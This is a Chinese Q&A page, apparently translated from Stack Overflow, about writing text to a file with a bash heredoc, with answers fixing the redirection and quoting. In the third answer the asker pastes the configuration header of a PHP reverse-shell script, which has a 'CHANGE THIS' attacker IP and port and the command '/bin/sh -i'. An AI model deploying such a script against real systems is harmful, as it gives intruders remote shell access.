Cat' here document'文本块进入新文件

时间:2017-08-04 20:45:40

标签: linux bash

我正在尝试从我的脚本中随机选择并将其捕获到/tmp/test.php文件中的新文件中。但它不会创建一个文件。我认为使用EOF会选择我需要的并处理它,但它似乎不起作用。

#!/bin/bash

cat /tmp/test.php << \EOF

<?php
test, you are awesome, haha.
test 2, this is some php, not finished,.
?> 
EOF

echo script continues 
....
....
Continues
etc

现在我应该可以去tmp看看我的test.php 我做错了什么

3 个答案:

答案 0 :(得分:1)

这有效:

cat > /tmp/test.php << EOF

<?php 
test, you are awesome, haha.
test 2, this is some php, not finished,.
?> 
EOF

注意:

  1. 使用<< EOF,而不是<< \EOF
  2. 使用cat > /tmp/text.php,而不是cat /tmp/text.php

答案 1 :(得分:0)

你应该尝试使用sed或awk工具从文件中剪切文本,特别是如果你想从10行到20行。据我所知cat命令是唯一的打开程序或浏览。

您可以指定两个正则表达式作为范围。假设“#”开始发表评论,您可以搜索关键字,删除所有评论,直到看到第二个关键字。在这种情况下,两个关键字是“开始”和“停止:”

sed'/ start /,/ stop / s /#.*//

您可以在linux命令行here

上获得有关使用sed编辑器的更多信息

答案 2 :(得分:0)

这样,几乎:)当我使用猫&gt; /tmp/test.php&lt;&lt; EOF,例如

cat > /tmp/shell.php << EOF

<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.11.0.100';  // CHANGE THIS
$port = 443;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
EOF

输出如下:

<?php

set_time_limit (0);
 = "1.0";
 = '10.11.0.100';  // CHANGE THIS
 = 443;       // CHANGE THIS
 = 1400;
 = null;
 = null;
 = 'uname -a; w; id; /bin/sh -i';
 = 0;
 = 0;

终端给了我:

 root@kali:~/My_Scripts# ./shell_pipe.bs 
./shell_pipe.bs: line 21: //: Is a directory
./shell_pipe.bs: line 22: //: Is a directory
./shell_pipe.bs: line 23: //: Is a directory
./shell_pipe.bs: line 25: //: Is a directory
./shell_pipe.bs: line 26: //: Is a directory
./shell_pipe.bs: line 27: syntax error near unexpected token `'pcntl_fork''
./shell_pipe.bs: line 27: `if (function_exists('pcntl_fork')) {'

编辑,对于shell:

cat > /root/Desktop/shell.php <<'EOF'

<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '$i';  // CHANGE THIS
$port = 443;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
EOF
//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...